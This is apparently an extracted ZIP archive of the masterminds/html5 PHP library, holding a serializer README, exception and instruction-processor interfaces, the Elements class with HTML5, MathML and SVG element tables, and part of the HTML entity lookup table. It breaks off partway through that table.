        '𝕏' => '&Xopf;',
        '𝕐' => '&Yopf;',
        '𝕒' => '&aopf;',
        '𝕓' => '&bopf;',
        '𝕔' => '&copf;',
        '𝕕' => '&dopf;',
        '𝕖' => '&eopf;',
        '𝕗' => '&fopf;',
        '𝕘' => '&gopf;',
        '𝕙' => '&hopf;',
        '𝕚' => '&iopf;',
        '𝕛' => '&jopf;',
        '𝕜' => '&kopf;',
        '𝕝' => '&lopf;',
        '𝕞' => '&mopf;',
        '𝕟' => '&nopf;',
        '𝕠' => '&oopf;',
        '𝕡' => '&popf;',
        '𝕢' => '&qopf;',
        '𝕣' => '&ropf;',
        '𝕤' => '&sopf;',
        '𝕥' => '&topf;',
        '𝕦' => '&uopf;',
        '𝕧' => '&vopf;',
        '𝕨' => '&wopf;',
        '𝕩' => '&xopf;',
        '𝕪' => '&yopf;',
        '𝕫' => '&zopf;',
    );
}
PK
h�\e%ա�7vendor/masterminds/html5/src/HTML5/Serializer/README.mdnu�[���# The Serializer (Writer) Model

The serializer roughly follows sections _8.1 Writing HTML documents_ and section
_8.3 Serializing HTML fragments_ by converting DOMDocument, DOMDocumentFragment,
and DOMNodeList into HTML5.

       [ HTML5 ]   // Interface for saving.
          ||
     [ Traverser ]   // Walk the DOM
          ||
       [ Rules ]     // Convert DOM elements into strings.
          ||
       [ HTML5 ]     // HTML5 document or fragment in text.


## HTML5 Class

Provides the top level interface for saving.

## The Traverser

Walks the DOM finding each element and passing it off to the output rules to
convert to HTML5.

## Output Rules

The output rules are defined in the RulesInterface which can have multiple
implementations. Currently, the OutputRules is the default implementation that
converts a DOM as is into HTML5.

## HTML5 String

The output of the process it HTML5 as a string or saved to a file.PK
h�\��e��0vendor/masterminds/html5/src/HTML5/Exception.phpnu�[���<?php

namespace Masterminds\HTML5;

/**
 * The base exception for the HTML5 project.
 */
class Exception extends \Exception
{
}
PK
h�\P�k���;vendor/masterminds/html5/src/HTML5/InstructionProcessor.phpnu�[���<?php
/**
 * A handler for processor instructions.
 */

namespace Masterminds\HTML5;

/**
 * Provide an processor to handle embedded instructions.
 *
 * XML defines a mechanism for inserting instructions (like PHP) into a
 * document. These are called "Processor Instructions." The HTML5 parser
 * provides an opportunity to handle these processor instructions during
 * the tree-building phase (before the DOM is constructed), which makes
 * it possible to alter the document as it is being created.
 *
 * One could, for example, use this mechanism to execute well-formed PHP
 * code embedded inside of an HTML5 document.
 */
interface InstructionProcessor
{
    /**
     * Process an individual processing instruction.
     *
     * The process() function is responsible for doing the following:
     * - Determining whether $name is an instruction type it can handle.
     * - Determining what to do with the data passed in.
     * - Making any subsequent modifications to the DOM by modifying the
     * DOMElement or its attached DOM tree.
     *
     * @param \DOMElement $element The parent element for the current processing instruction.
     * @param string      $name    The instruction's name. E.g. `&lt;?php` has the name `php`.
     * @param string      $data    All of the data between the opening and closing PI marks.
     *
     * @return \DOMElement The element that should be considered "Current". This may just be
     *                     the element passed in, but if the processor added more elements,
     *                     it may choose to reset the current element to one of the elements
     *                     it created. (When in doubt, return the element passed in.)
     */
    public function process(\DOMElement $element, $name, $data);
}
PK
h�\�(#\M\M/vendor/masterminds/html5/src/HTML5/Elements.phpnu�[���<?php
/**
 * Provide general element functions.
 */

namespace Masterminds\HTML5;

/**
 * This class provides general information about HTML5 elements,
 * including syntactic and semantic issues.
 * Parsers and serializers can
 * use this class as a reference point for information about the rules
 * of various HTML5 elements.
 *
 * @todo consider using a bitmask table lookup. There is enough overlap in
 *       naming that this could significantly shrink the size and maybe make it
 *       faster. See the Go teams implementation at https://code.google.com/p/go/source/browse/html/atom.
 */
class Elements
{
    /**
     * Indicates an element is described in the specification.
     */
    const KNOWN_ELEMENT = 1;

    // From section 8.1.2: "script", "style"
    // From 8.2.5.4.7 ("in body" insertion mode): "noembed"
    // From 8.4 "style", "xmp", "iframe", "noembed", "noframes"
    /**
     * Indicates the contained text should be processed as raw text.
     */
    const TEXT_RAW = 2;

    // From section 8.1.2: "textarea", "title"
    /**
     * Indicates the contained text should be processed as RCDATA.
     */
    const TEXT_RCDATA = 4;

    /**
     * Indicates the tag cannot have content.
     */
    const VOID_TAG = 8;

    // "address", "article", "aside", "blockquote", "center", "details", "dialog", "dir", "div", "dl",
    // "fieldset", "figcaption", "figure", "footer", "header", "hgroup", "menu",
    // "nav", "ol", "p", "section", "summary", "ul"
    // "h1", "h2", "h3", "h4", "h5", "h6"
    // "pre", "listing"
    // "form"
    // "plaintext"
    /**
     * Indicates that if a previous event is for a P tag, that element
     * should be considered closed.
     */
    const AUTOCLOSE_P = 16;

    /**
     * Indicates that the text inside is plaintext (pre).
     */
    const TEXT_PLAINTEXT = 32;

    // See https://developer.mozilla.org/en-US/docs/HTML/Block-level_elements
    /**
     * Indicates that the tag is a block.
     */
    const BLOCK_TAG = 64;

    /**
     * Indicates that the tag allows only inline elements as child nodes.
     */
    const BLOCK_ONLY_INLINE = 128;

    /**
     * The HTML5 elements as defined in http://dev.w3.org/html5/markup/elements.html.
     *
     * @var array
     */
    public static $html5 = array(
        'a' => 1,
        'abbr' => 1,
        'address' => 65, // NORMAL | BLOCK_TAG
        'area' => 9, // NORMAL | VOID_TAG
        'article' => 81, // NORMAL | AUTOCLOSE_P | BLOCK_TAG
        'aside' => 81, // NORMAL | AUTOCLOSE_P | BLOCK_TAG
        'audio' => 1, // NORMAL
        'b' => 1,
        'base' => 9, // NORMAL | VOID_TAG
        'bdi' => 1,
        'bdo' => 1,
        'blockquote' => 81, // NORMAL | AUTOCLOSE_P | BLOCK_TAG
        'body' => 1,
        'br' => 9, // NORMAL | VOID_TAG
        'button' => 1,
        'canvas' => 65, // NORMAL | BLOCK_TAG
        'caption' => 1,
        'cite' => 1,
        'code' => 1,
        'col' => 9, // NORMAL | VOID_TAG
        'colgroup' => 1,
        'command' => 9, // NORMAL | VOID_TAG
                        // "data" => 1, // This is highly experimental and only part of the whatwg spec (not w3c). See https://developer.mozilla.org/en-US/docs/HTML/Element/data
        'datalist' => 1,
        'dd' => 65, // NORMAL | BLOCK_TAG
        'del' => 1,
        'details' => 17, // NORMAL | AUTOCLOSE_P,
        'dfn' => 1,
        'dialog' => 17, // NORMAL | AUTOCLOSE_P,
        'div' => 81, // NORMAL | AUTOCLOSE_P | BLOCK_TAG
        'dl' => 81, // NORMAL | AUTOCLOSE_P | BLOCK_TAG
        'dt' => 1,
        'em' => 1,
        'embed' => 9, // NORMAL | VOID_TAG
        'fieldset' => 81, // NORMAL | AUTOCLOSE_P | BLOCK_TAG
        'figcaption' => 81, // NORMAL | AUTOCLOSE_P | BLOCK_TAG
        'figure' => 81, // NORMAL | AUTOCLOSE_P | BLOCK_TAG
        'footer' => 81, // NORMAL | AUTOCLOSE_P | BLOCK_TAG
        'form' => 81, // NORMAL | AUTOCLOSE_P | BLOCK_TAG
        'h1' => 81, // NORMAL | AUTOCLOSE_P | BLOCK_TAG
        'h2' => 81, // NORMAL | AUTOCLOSE_P | BLOCK_TAG
        'h3' => 81, // NORMAL | AUTOCLOSE_P | BLOCK_TAG
        'h4' => 81, // NORMAL | AUTOCLOSE_P | BLOCK_TAG
        'h5' => 81, // NORMAL | AUTOCLOSE_P | BLOCK_TAG
        'h6' => 81, // NORMAL | AUTOCLOSE_P | BLOCK_TAG
        'head' => 1,
        'header' => 81, // NORMAL | AUTOCLOSE_P | BLOCK_TAG
        'hgroup' => 81, // NORMAL | AUTOCLOSE_P | BLOCK_TAG
        'hr' => 73, // NORMAL | VOID_TAG
        'html' => 1,
        'i' => 1,
        'iframe' => 3, // NORMAL | TEXT_RAW
        'img' => 9, // NORMAL | VOID_TAG
        'input' => 9, // NORMAL | VOID_TAG
        'kbd' => 1,
        'ins' => 1,
        'keygen' => 9, // NORMAL | VOID_TAG
        'label' => 1,
        'legend' => 1,
        'li' => 1,
        'link' => 9, // NORMAL | VOID_TAG
        'map' => 1,
        'mark' => 1,
        'menu' => 17, // NORMAL | AUTOCLOSE_P,
        'meta' => 9, // NORMAL | VOID_TAG
        'meter' => 1,
        'nav' => 17, // NORMAL | AUTOCLOSE_P,
        'noscript' => 65, // NORMAL | BLOCK_TAG
        'object' => 1,
        'ol' => 81, // NORMAL | AUTOCLOSE_P | BLOCK_TAG
        'optgroup' => 1,
        'option' => 1,
        'output' => 65, // NORMAL | BLOCK_TAG
        'p' => 209, // NORMAL | AUTOCLOSE_P | BLOCK_TAG | BLOCK_ONLY_INLINE
        'param' => 9, // NORMAL | VOID_TAG
        'pre' => 81, // NORMAL | AUTOCLOSE_P | BLOCK_TAG
        'progress' => 1,
        'q' => 1,
        'rp' => 1,
        'rt' => 1,
        'ruby' => 1,
        's' => 1,
        'samp' => 1,
        'script' => 3, // NORMAL | TEXT_RAW
        'section' => 81, // NORMAL | AUTOCLOSE_P | BLOCK_TAG
        'select' => 1,
        'small' => 1,
        'source' => 9, // NORMAL | VOID_TAG
        'span' => 1,
        'strong' => 1,
        'style' => 3, // NORMAL | TEXT_RAW
        'sub' => 1,
        'summary' => 17, // NORMAL | AUTOCLOSE_P,
        'sup' => 1,
        'table' => 65, // NORMAL | BLOCK_TAG
        'tbody' => 1,
        'td' => 1,
        'textarea' => 5, // NORMAL | TEXT_RCDATA
        'tfoot' => 65, // NORMAL | BLOCK_TAG
        'th' => 1,
        'thead' => 1,
        'time' => 1,
        'title' => 5, // NORMAL | TEXT_RCDATA
        'tr' => 1,
        'track' => 9, // NORMAL | VOID_TAG
        'u' => 1,
        'ul' => 81, // NORMAL | AUTOCLOSE_P | BLOCK_TAG
        'var' => 1,
        'video' => 65, // NORMAL | BLOCK_TAG
        'wbr' => 9, // NORMAL | VOID_TAG

        // Legacy?
        'basefont' => 8, // VOID_TAG
        'bgsound' => 8, // VOID_TAG
        'noframes' => 2, // RAW_TEXT
        'frame' => 9, // NORMAL | VOID_TAG
        'frameset' => 1,
        'center' => 16,
        'dir' => 16,
        'listing' => 16, // AUTOCLOSE_P
        'plaintext' => 48, // AUTOCLOSE_P | TEXT_PLAINTEXT
        'applet' => 0,
        'marquee' => 0,
        'isindex' => 8, // VOID_TAG
        'xmp' => 20, // AUTOCLOSE_P | VOID_TAG | RAW_TEXT
        'noembed' => 2, // RAW_TEXT
        );

    /**
     * The MathML elements.
     * See http://www.w3.org/wiki/MathML/Elements.
     *
     * In our case we are only concerned with presentation MathML and not content
     * MathML. There is a nice list of this subset at https://developer.mozilla.org/en-US/docs/MathML/Element.
     *
     * @var array
     */
    public static $mathml = array(
        'maction' => 1,
        'maligngroup' => 1,
        'malignmark' => 1,
        'math' => 1,
        'menclose' => 1,
        'merror' => 1,
        'mfenced' => 1,
        'mfrac' => 1,
        'mglyph' => 1,
        'mi' => 1,
        'mlabeledtr' => 1,
        'mlongdiv' => 1,
        'mmultiscripts' => 1,
        'mn' => 1,
        'mo' => 1,
        'mover' => 1,
        'mpadded' => 1,
        'mphantom' => 1,
        'mroot' => 1,
        'mrow' => 1,
        'ms' => 1,
        'mscarries' => 1,
        'mscarry' => 1,
        'msgroup' => 1,
        'msline' => 1,
        'mspace' => 1,
        'msqrt' => 1,
        'msrow' => 1,
        'mstack' => 1,
        'mstyle' => 1,
        'msub' => 1,
        'msup' => 1,
        'msubsup' => 1,
        'mtable' => 1,
        'mtd' => 1,
        'mtext' => 1,
        'mtr' => 1,
        'munder' => 1,
        'munderover' => 1,
    );

    /**
     * The svg elements.
     *
     * The Mozilla documentation has a good list at https://developer.mozilla.org/en-US/docs/SVG/Element.
     * The w3c list appears to be lacking in some areas like filter effect elements.
     * That list can be found at http://www.w3.org/wiki/SVG/Elements.
     *
     * Note, FireFox appears to do a better job rendering filter effects than chrome.
     * While they are in the spec I'm not sure how widely implemented they are.
     *
     * @var array
     */
    public static $svg = array(
        'a' => 1,
        'altGlyph' => 1,
        'altGlyphDef' => 1,
        'altGlyphItem' => 1,
        'animate' => 1,
        'animateColor' => 1,
        'animateMotion' => 1,
        'animateTransform' => 1,
        'circle' => 1,
        'clipPath' => 1,
        'color-profile' => 1,
        'cursor' => 1,
        'defs' => 1,
        'desc' => 1,
        'ellipse' => 1,
        'feBlend' => 1,
        'feColorMatrix' => 1,
        'feComponentTransfer' => 1,
        'feComposite' => 1,
        'feConvolveMatrix' => 1,
        'feDiffuseLighting' => 1,
        'feDisplacementMap' => 1,
        'feDistantLight' => 1,
        'feFlood' => 1,
        'feFuncA' => 1,
        'feFuncB' => 1,
        'feFuncG' => 1,
        'feFuncR' => 1,
        'feGaussianBlur' => 1,
        'feImage' => 1,
        'feMerge' => 1,
        'feMergeNode' => 1,
        'feMorphology' => 1,
        'feOffset' => 1,
        'fePointLight' => 1,
        'feSpecularLighting' => 1,
        'feSpotLight' => 1,
        'feTile' => 1,
        'feTurbulence' => 1,
        'filter' => 1,
        'font' => 1,
        'font-face' => 1,
        'font-face-format' => 1,
        'font-face-name' => 1,
        'font-face-src' => 1,
        'font-face-uri' => 1,
        'foreignObject' => 1,
        'g' => 1,
        'glyph' => 1,
        'glyphRef' => 1,
        'hkern' => 1,
        'image' => 1,
        'line' => 1,
        'linearGradient' => 1,
        'marker' => 1,
        'mask' => 1,
        'metadata' => 1,
        'missing-glyph' => 1,
        'mpath' => 1,
        'path' => 1,
        'pattern' => 1,
        'polygon' => 1,
        'polyline' => 1,
        'radialGradient' => 1,
        'rect' => 1,
        'script' => 3, // NORMAL | RAW_TEXT
        'set' => 1,
        'stop' => 1,
        'style' => 3, // NORMAL | RAW_TEXT
        'svg' => 1,
        'switch' => 1,
        'symbol' => 1,
        'text' => 1,
        'textPath' => 1,
        'title' => 1,
        'tref' => 1,
        'tspan' => 1,
        'use' => 1,
        'view' => 1,
        'vkern' => 1,
    );

    /**
     * Some attributes in SVG are case sensitive.
     *
     * This map contains key/value pairs with the key as the lowercase attribute
     * name and the value with the correct casing.
     */
    public static $svgCaseSensitiveAttributeMap = array(
        'attributename' => 'attributeName',
        'attributetype' => 'attributeType',
        'basefrequency' => 'baseFrequency',
        'baseprofile' => 'baseProfile',
        'calcmode' => 'calcMode',
        'clippathunits' => 'clipPathUnits',
        'contentscripttype' => 'contentScriptType',
        'contentstyletype' => 'contentStyleType',
        'diffuseconstant' => 'diffuseConstant',
        'edgemode' => 'edgeMode',
        'externalresourcesrequired' => 'externalResourcesRequired',
        'filterres' => 'filterRes',
        'filterunits' => 'filterUnits',
        'glyphref' => 'glyphRef',
        'gradienttransform' => 'gradientTransform',
        'gradientunits' => 'gradientUnits',
        'kernelmatrix' => 'kernelMatrix',
        'kernelunitlength' => 'kernelUnitLength',
        'keypoints' => 'keyPoints',
        'keysplines' => 'keySplines',
        'keytimes' => 'keyTimes',
        'lengthadjust' => 'lengthAdjust',
        'limitingconeangle' => 'limitingConeAngle',
        'markerheight' => 'markerHeight',
        'markerunits' => 'markerUnits',
        'markerwidth' => 'markerWidth',
        'maskcontentunits' => 'maskContentUnits',
        'maskunits' => 'maskUnits',
        'numoctaves' => 'numOctaves',
        'pathlength' => 'pathLength',
        'patterncontentunits' => 'patternContentUnits',
        'patterntransform' => 'patternTransform',
        'patternunits' => 'patternUnits',
        'pointsatx' => 'pointsAtX',
        'pointsaty' => 'pointsAtY',
        'pointsatz' => 'pointsAtZ',
        'preservealpha' => 'preserveAlpha',
        'preserveaspectratio' => 'preserveAspectRatio',
        'primitiveunits' => 'primitiveUnits',
        'refx' => 'refX',
        'refy' => 'refY',
        'repeatcount' => 'repeatCount',
        'repeatdur' => 'repeatDur',
        'requiredextensions' => 'requiredExtensions',
        'requiredfeatures' => 'requiredFeatures',
        'specularconstant' => 'specularConstant',
        'specularexponent' => 'specularExponent',
        'spreadmethod' => 'spreadMethod',
        'startoffset' => 'startOffset',
        'stddeviation' => 'stdDeviation',
        'stitchtiles' => 'stitchTiles',
        'surfacescale' => 'surfaceScale',
        'systemlanguage' => 'systemLanguage',
        'tablevalues' => 'tableValues',
        'targetx' => 'targetX',
        'targety' => 'targetY',
        'textlength' => 'textLength',
        'viewbox' => 'viewBox',
        'viewtarget' => 'viewTarget',
        'xchannelselector' => 'xChannelSelector',
        'ychannelselector' => 'yChannelSelector',
        'zoomandpan' => 'zoomAndPan',
    );

    /**
     * Some SVG elements are case sensitive.
     * This map contains these.
     *
     * The map contains key/value store of the name is lowercase as the keys and
     * the correct casing as the value.
     */
    public static $svgCaseSensitiveElementMap = array(
        'altglyph' => 'altGlyph',
        'altglyphdef' => 'altGlyphDef',
        'altglyphitem' => 'altGlyphItem',
        'animatecolor' => 'animateColor',
        'animatemotion' => 'animateMotion',
        'animatetransform' => 'animateTransform',
        'clippath' => 'clipPath',
        'feblend' => 'feBlend',
        'fecolormatrix' => 'feColorMatrix',
        'fecomponenttransfer' => 'feComponentTransfer',
        'fecomposite' => 'feComposite',
        'feconvolvematrix' => 'feConvolveMatrix',
        'fediffuselighting' => 'feDiffuseLighting',
        'fedisplacementmap' => 'feDisplacementMap',
        'fedistantlight' => 'feDistantLight',
        'feflood' => 'feFlood',
        'fefunca' => 'feFuncA',
        'fefuncb' => 'feFuncB',
        'fefuncg' => 'feFuncG',
        'fefuncr' => 'feFuncR',
        'fegaussianblur' => 'feGaussianBlur',
        'feimage' => 'feImage',
        'femerge' => 'feMerge',
        'femergenode' => 'feMergeNode',
        'femorphology' => 'feMorphology',
        'feoffset' => 'feOffset',
        'fepointlight' => 'fePointLight',
        'fespecularlighting' => 'feSpecularLighting',
        'fespotlight' => 'feSpotLight',
        'fetile' => 'feTile',
        'feturbulence' => 'feTurbulence',
        'foreignobject' => 'foreignObject',
        'glyphref' => 'glyphRef',
        'lineargradient' => 'linearGradient',
        'radialgradient' => 'radialGradient',
        'textpath' => 'textPath',
    );

    /**
     * Check whether the given element meets the given criterion.
     *
     * Example:
     *
     * Elements::isA('script', Elements::TEXT_RAW); // Returns true.
     *
     * Elements::isA('script', Elements::TEXT_RCDATA); // Returns false.
     *
     * @param string $name The element name.
     * @param int    $mask One of the constants on this class.
     *
     * @return bool true if the element matches the mask, false otherwise.
     */
    public static function isA($name, $mask)
    {
        return (static::element($name) & $mask) === $mask;
    }

    /**
     * Test if an element is a valid html5 element.
     *
     * @param string $name The name of the element.
     *
     * @return bool true if a html5 element and false otherwise.
     */
    public static function isHtml5Element($name)
    {
        // html5 element names are case insensitive. Forcing lowercase for the check.
        // Do we need this check or will all data passed here already be lowercase?
        return isset(static::$html5[strtolower($name)]);
    }

    /**
     * Test if an element name is a valid MathML presentation element.
     *
     * @param string $name The name of the element.
     *
     * @return bool true if a MathML name and false otherwise.
     */
    public static function isMathMLElement($name)
    {
        // MathML is case-sensitive unlike html5 elements.
        return isset(static::$mathml[$name]);
    }

    /**
     * Test if an element is a valid SVG element.
     *
     * @param string $name The name of the element.
     *
     * @return bool true if a SVG element and false otherise.
     */
    public static function isSvgElement($name)
    {
        // SVG is case-sensitive unlike html5 elements.
        return isset(static::$svg[$name]);
    }

    /**
     * Is an element name valid in an html5 document.
     * This includes html5 elements along with other allowed embedded content
     * such as svg and mathml.
     *
     * @param string $name The name of the element.
     *
     * @return bool true if valid and false otherwise.
     */
    public static function isElement($name)
    {
        return static::isHtml5Element($name) || static::isMathMLElement($name) || static::isSvgElement($name);
    }

    /**
     * Get the element mask for the given element name.
     *
     * @param string $name The name of the element.
     *
     * @return int the element mask.
     */
    public static function element($name)
    {
        if (isset(static::$html5[$name])) {
            return static::$html5[$name];
        }
        if (isset(static::$svg[$name])) {
            return static::$svg[$name];
        }
        if (isset(static::$mathml[$name])) {
            return static::$mathml[$name];
        }

        return 0;
    }

    /**
     * Normalize a SVG element name to its proper case and form.
     *
     * @param string $name The name of the element.
     *
     * @return string the normalized form of the element name.
     */
    public static function normalizeSvgElement($name)
    {
        $name = strtolower($name);
        if (isset(static::$svgCaseSensitiveElementMap[$name])) {
            $name = static::$svgCaseSensitiveElementMap[$name];
        }

        return $name;
    }

    /**
     * Normalize a SVG attribute name to its proper case and form.
     *
     * @param string $name The name of the attribute.
     *
     * @return string The normalized form of the attribute name.
     */
    public static function normalizeSvgAttribute($name)
    {
        $name = strtolower($name);
        if (isset(static::$svgCaseSensitiveAttributeMap[$name])) {
            $name = static::$svgCaseSensitiveAttributeMap[$name];
        }

        return $name;
    }

    /**
     * Normalize a MathML attribute name to its proper case and form.
     * Note, all MathML element names are lowercase.
     *
     * @param string $name The name of the attribute.
     *
     * @return string The normalized form of the attribute name.
     */
    public static function normalizeMathMlAttribute($name)
    {
        $name = strtolower($name);

        // Only one attribute has a mixed case form for MathML.
        if ('definitionurl' === $name) {
            $name = 'definitionURL';
        }

        return $name;
    }
}
PK
h�\ȍRx��/vendor/masterminds/html5/src/HTML5/Entities.phpnu�[���<?php

namespace Masterminds\HTML5;

/**
 * Entity lookup tables.
 * This class is automatically generated.
 */
class Entities
{
    public static $byName = array(
        'Aacute' => 'Á',
        'Aacut' => 'Á',
        'aacute' => 'á',
        'aacut' => 'á',
        'Abreve' => 'Ă',
        'abreve' => 'ă',
        'ac' => '∾',
        'acd' => '∿',
        'acE' => '∾̳',
        'Acirc' => 'Â',
        'Acir' => 'Â',
        'acirc' => 'â',
        'acir' => 'â',
        'acute' => '´',
        'acut' => '´',
        'Acy' => 'А',
        'acy' => 'а',
        'AElig' => 'Æ',
        'AEli' => 'Æ',
        'aelig' => 'æ',
        'aeli' => 'æ',
        'af' => '⁡',
        'Afr' => '𝔄',
        'afr' => '𝔞',
        'Agrave' => 'À',
        'Agrav' => 'À',
        'agrave' => 'à',
        'agrav' => 'à',
        'alefsym' => 'ℵ',
        'aleph' => 'ℵ',
        'Alpha' => 'Α',
        'alpha' => 'α',
        'Amacr' => 'Ā',
        'amacr' => 'ā',
        'amalg' => '⨿',
        'AMP' => '&',
        'AM' => '&',
        'amp' => '&',
        'am' => '&',
        'And' => '⩓',
        'and' => '∧',
        'andand' => '⩕',
        'andd' => '⩜',
        'andslope' => '⩘',
        'andv' => '⩚',
        'ang' => '∠',
        'ange' => '⦤',
        'angle' => '∠',
        'angmsd' => '∡',
        'angmsdaa' => '⦨',
        'angmsdab' => '⦩',
        'angmsdac' => '⦪',
        'angmsdad' => '⦫',
        'angmsdae' => '⦬',
        'angmsdaf' => '⦭',
        'angmsdag' => '⦮',
        'angmsdah' => '⦯',
        'angrt' => '∟',
        'angrtvb' => '⊾',
        'angrtvbd' => '⦝',
        'angsph' => '∢',
        'angst' => 'Å',
        'angzarr' => '⍼',
        'Aogon' => 'Ą',
        'aogon' => 'ą',
        'Aopf' => '𝔸',
        'aopf' => '𝕒',
        'ap' => '≈',
        'apacir' => '⩯',
        'apE' => '⩰',
        'ape' => '≊',
        'apid' => '≋',
        'apos' => '\'',
        'ApplyFunction' => '⁡',
        'approx' => '≈',
        'approxeq' => '≊',
        'Aring' => 'Å',
        'Arin' => 'Å',
        'aring' => 'å',
        'arin' => 'å',
        'Ascr' => '𝒜',
        'ascr' => '𝒶',
        'Assign' => '≔',
        'ast' => '*',
        'asymp' => '≈',
        'asympeq' => '≍',
        'Atilde' => 'Ã',
        'Atild' => 'Ã',
        'atilde' => 'ã',
        'atild' => 'ã',
        'Auml' => 'Ä',
        'Aum' => 'Ä',
        'auml' => 'ä',
        'aum' => 'ä',
        'awconint' => '∳',
        'awint' => '⨑',
        'backcong' => '≌',
        'backepsilon' => '϶',
        'backprime' => '‵',
        'backsim' => '∽',
        'backsimeq' => '⋍',
        'Backslash' => '∖',
        'Barv' => '⫧',
        'barvee' => '⊽',
        'Barwed' => '⌆',
        'barwed' => '⌅',
        'barwedge' => '⌅',
        'bbrk' => '⎵',
        'bbrktbrk' => '⎶',
        'bcong' => '≌',
        'Bcy' => 'Б',
        'bcy' => 'б',
        'bdquo' => '„',
        'becaus' => '∵',
        'Because' => '∵',
        'because' => '∵',
        'bemptyv' => '⦰',
        'bepsi' => '϶',
        'bernou' => 'ℬ',
        'Bernoullis' => 'ℬ',
        'Beta' => 'Β',
        'beta' => 'β',
        'beth' => 'ℶ',
        'between' => '≬',
        'Bfr' => '𝔅',
        'bfr' => '𝔟',
        'bigcap' => '⋂',
        'bigcirc' => '◯',
        'bigcup' => '⋃',
        'bigodot' => '⨀',
        'bigoplus' => '⨁',
        'bigotimes' => '⨂',
        'bigsqcup' => '⨆',
        'bigstar' => '★',
        'bigtriangledown' => '▽',
        'bigtriangleup' => '△',
        'biguplus' => '⨄',
        'bigvee' => '⋁',
        'bigwedge' => '⋀',
        'bkarow' => '⤍',
        'blacklozenge' => '⧫',
        'blacksquare' => '▪',
        'blacktriangle' => '▴',
        'blacktriangledown' => '▾',
        'blacktriangleleft' => '◂',
        'blacktriangleright' => '▸',
        'blank' => '␣',
        'blk12' => '▒',
        'blk14' => '░',
        'blk34' => '▓',
        'block' => '█',
        'bne' => '=⃥',
        'bnequiv' => '≡⃥',
        'bNot' => '⫭',
        'bnot' => '⌐',
        'Bopf' => '𝔹',
        'bopf' => '𝕓',
        'bot' => '⊥',
        'bottom' => '⊥',
        'bowtie' => '⋈',
        'boxbox' => '⧉',
        'boxDL' => '╗',
        'boxDl' => '╖',
        'boxdL' => '╕',
        'boxdl' => '┐',
        'boxDR' => '╔',
        'boxDr' => '╓',
        'boxdR' => '╒',
        'boxdr' => '┌',
        'boxH' => '═',
        'boxh' => '─',
        'boxHD' => '╦',
        'boxHd' => '╤',
        'boxhD' => '╥',
        'boxhd' => '┬',
        'boxHU' => '╩',
        'boxHu' => '╧',
        'boxhU' => '╨',
        'boxhu' => '┴',
        'boxminus' => '⊟',
        'boxplus' => '⊞',
        'boxtimes' => '⊠',
        'boxUL' => '╝',
        'boxUl' => '╜',
        'boxuL' => '╛',
        'boxul' => '┘',
        'boxUR' => '╚',
        'boxUr' => '╙',
        'boxuR' => '╘',
        'boxur' => '└',
        'boxV' => '║',
        'boxv' => '│',
        'boxVH' => '╬',
        'boxVh' => '╫',
        'boxvH' => '╪',
        'boxvh' => '┼',
        'boxVL' => '╣',
        'boxVl' => '╢',
        'boxvL' => '╡',
        'boxvl' => '┤',
        'boxVR' => '╠',
        'boxVr' => '╟',
        'boxvR' => '╞',
        'boxvr' => '├',
        'bprime' => '‵',
        'Breve' => '˘',
        'breve' => '˘',
        'brvbar' => '¦',
        'brvba' => '¦',
        'Bscr' => 'ℬ',
        'bscr' => '𝒷',
        'bsemi' => '⁏',
        'bsim' => '∽',
        'bsime' => '⋍',
        'bsol' => '\\',
        'bsolb' => '⧅',
        'bsolhsub' => '⟈',
        'bull' => '•',
        'bullet' => '•',
        'bump' => '≎',
        'bumpE' => '⪮',
        'bumpe' => '≏',
        'Bumpeq' => '≎',
        'bumpeq' => '≏',
        'Cacute' => 'Ć',
        'cacute' => 'ć',
        'Cap' => '⋒',
        'cap' => '∩',
        'capand' => '⩄',
        'capbrcup' => '⩉',
        'capcap' => '⩋',
        'capcup' => '⩇',
        'capdot' => '⩀',
        'CapitalDifferentialD' => 'ⅅ',
        'caps' => '∩︀',
        'caret' => '⁁',
        'caron' => 'ˇ',
        'Cayleys' => 'ℭ',
        'ccaps' => '⩍',
        'Ccaron' => 'Č',
        'ccaron' => 'č',
        'Ccedil' => 'Ç',
        'Ccedi' => 'Ç',
        'ccedil' => 'ç',
        'ccedi' => 'ç',
        'Ccirc' => 'Ĉ',
        'ccirc' => 'ĉ',
        'Cconint' => '∰',
        'ccups' => '⩌',
        'ccupssm' => '⩐',
        'Cdot' => 'Ċ',
        'cdot' => 'ċ',
        'cedil' => '¸',
        'cedi' => '¸',
        'Cedilla' => '¸',
        'cemptyv' => '⦲',
        'cent' => '¢',
        'cen' => '¢',
        'CenterDot' => '·',
        'centerdot' => '·',
        'Cfr' => 'ℭ',
        'cfr' => '𝔠',
        'CHcy' => 'Ч',
        'chcy' => 'ч',
        'check' => '✓',
        'checkmark' => '✓',
        'Chi' => 'Χ',
        'chi' => 'χ',
        'cir' => '○',
        'circ' => 'ˆ',
        'circeq' => '≗',
        'circlearrowleft' => '↺',
        'circlearrowright' => '↻',
        'circledast' => '⊛',
        'circledcirc' => '⊚',
        'circleddash' => '⊝',
        'CircleDot' => '⊙',
        'circledR' => '®',
        'circledS' => 'Ⓢ',
        'CircleMinus' => '⊖',
        'CirclePlus' => '⊕',
        'CircleTimes' => '⊗',
        'cirE' => '⧃',
        'cire' => '≗',
        'cirfnint' => '⨐',
        'cirmid' => '⫯',
        'cirscir' => '⧂',
        'ClockwiseContourIntegral' => '∲',
        'CloseCurlyDoubleQuote' => '”',
        'CloseCurlyQuote' => '’',
        'clubs' => '♣',
        'clubsuit' => '♣',
        'Colon' => '∷',
        'colon' => ':',
        'Colone' => '⩴',
        'colone' => '≔',
        'coloneq' => '≔',
        'comma' => ',',
        'commat' => '@',
        'comp' => '∁',
        'compfn' => '∘',
        'complement' => '∁',
        'complexes' => 'ℂ',
        'cong' => '≅',
        'congdot' => '⩭',
        'Congruent' => '≡',
        'Conint' => '∯',
        'conint' => '∮',
        'ContourIntegral' => '∮',
        'Copf' => 'ℂ',
        'copf' => '𝕔',
        'coprod' => '∐',
        'Coproduct' => '∐',
        'COPY' => '©',
        'COP' => '©',
        'copy' => '©',
        'cop' => '©',
        'copysr' => '℗',
        'CounterClockwiseContourIntegral' => '∳',
        'crarr' => '↵',
        'Cross' => '⨯',
        'cross' => '✗',
        'Cscr' => '𝒞',
        'cscr' => '𝒸',
        'csub' => '⫏',
        'csube' => '⫑',
        'csup' => '⫐',
        'csupe' => '⫒',
        'ctdot' => '⋯',
        'cudarrl' => '⤸',
        'cudarrr' => '⤵',
        'cuepr' => '⋞',
        'cuesc' => '⋟',
        'cularr' => '↶',
        'cularrp' => '⤽',
        'Cup' => '⋓',
        'cup' => '∪',
        'cupbrcap' => '⩈',
        'CupCap' => '≍',
        'cupcap' => '⩆',
        'cupcup' => '⩊',
